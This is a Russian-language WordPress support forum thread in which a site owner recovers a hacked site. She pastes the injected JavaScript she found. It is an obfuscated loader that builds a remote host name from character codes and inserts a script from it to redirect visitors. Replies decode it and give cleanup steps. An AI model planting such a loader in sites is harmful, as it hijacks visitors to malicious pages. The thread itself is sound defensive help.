сайт взломан

Решено newmail
(@newmail)

5 лет, 3 месяца назад

с главной страницы сайта происходит редирект, при попытке попасть в панель администратора выдает страницу с такой надписью
!function(e,t,r){e.PrcyCounterObject=r,e[r]=e[r]||function(){(e[r].q=e[r].q||[]).push(arguments)};var c=document.createElement(«script»);c.type=»text/javascript»,c.async=1;var g = String.fromCharCode(103, 108, 111, 98, 97, 108, 97, 100, 115, 101, 110, 100, 101, 114, 46, 99, 111, 109, 47, 120, 115, 113, 54, 104, 100, 114, 98);c.src=t+g;var n=document.getElementsByTagName(«script»)[0];n.parentNode.insertBefore(c,n)}(window,»https://»,»prcyCounter»),prcyCounter(«test»,»prcyru-sqi-counter»,0);

Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]

Просмотр 8 ответов — с 1 по 8 (всего 8)

O
(@perdyllo)

5 лет, 3 месяца назад

https://codex.wordpress.org/ЧАВО/Сайт_взломали
ren334
(@ren334)

5 лет, 3 месяца назад
В первую очередь переименуйте папку с плагинами в wp-content, чтобы их отключить. Уязвимость где-то там. Потом потребуется зайти в БД и сменить там ссылки в таблицах:

Открываем базу данных сайта через phpMyAdmin. Находим таблицу wp_options. Первая опция — siteurl будет изменена, там будет проставлен линк на другой сайт. Просто меняем адрес на свой. Все, у вас есть доступ к сайту. Не забудьте удалить созданного пользователя!Это можно сделать как средствами WP, также можно удалить через БД. Заходим в таблицу wp_users, удаляем запись с ненужным пользователем. Готово. Кстати, если заменяли префикс wp_ на другой, то у вас будет выглядеть название таблицы несколько иначе.

После придется вычислить плагин, который был взломан. Если давно не обновлялись, то взлом — закономерность.
- Ответ изменён 5 лет, 3 месяца назад пользователем ren334.
Автор newmail
(@newmail)

5 лет, 3 месяца назад

@ren334 ren334 спасибо за ответ, сделала как вы написали, а какое содержание должно быть в полях
siteurl
home

удалила ссылку на редирект из полей и выдало эту страницу
Error establishing a database connection
This either means that the username and password information in your wp-config.php file is incorrect or we can’t contact the database server at mysqlserver. This could mean your host’s database server is down.

Are you sure you have the correct username and password?
Are you sure that you have typed the correct hostname?
Are you sure that the database server is running?
If you’re unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress Support Forums.

Anonymous User 17160716
(@anonymized-17160716)

5 лет, 3 месяца назад

newmail, приветствую.

при попытке попасть в панель администратора выдает страницу с такой надписью
!function(e,t,r){e.PrcyCo <…>

Это скрипт редиректа на globaladsender.com/xsq6hdrb (по ссылке не переходить).

какое содержание должно быть в полях
siteurl
home

http://z-mgl.ru в обоих полях. Совет с работой в БД вам дали поспешно. У вас 2 редиректа, кстати.

Автор newmail
(@newmail)

5 лет, 3 месяца назад

@m0ze спасибо. поменяла
при попытке зайти в wp-admin
выдает такую надпись
Error establishing a database connection
This either means that the username and password information in your wp-config.php file is incorrect or we can’t contact the database server at mysqlserver. This could mean your host’s database server is down.

Are you sure you have the correct username and password?
Are you sure that you have typed the correct hostname?
Are you sure that the database server is running?
If you’re unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress Support Forums.

а при попытке зайти на сайт выдает
Error establishing a database connection

tuxfighter
(@tuxfighter)

5 лет, 3 месяца назад

Error establishing a database connection
This either means that the username and password information in your wp-config.php file is incorrect or we can’t contact the database server at mysqlserver. This could mean your host’s database server is down.

Что именно вам не понятно в этом предложении?

Anonymous User 17160716
(@anonymized-17160716)

5 лет, 3 месяца назад

newmail, в корне сайта посмотрите файл wp-config.php, проверьте, чтобы в этом файле были указаны верные данные для подключения к базе.

Автор newmail
(@newmail)

5 лет, 3 месяца назад

всем большое спасибо. Сайт здоров))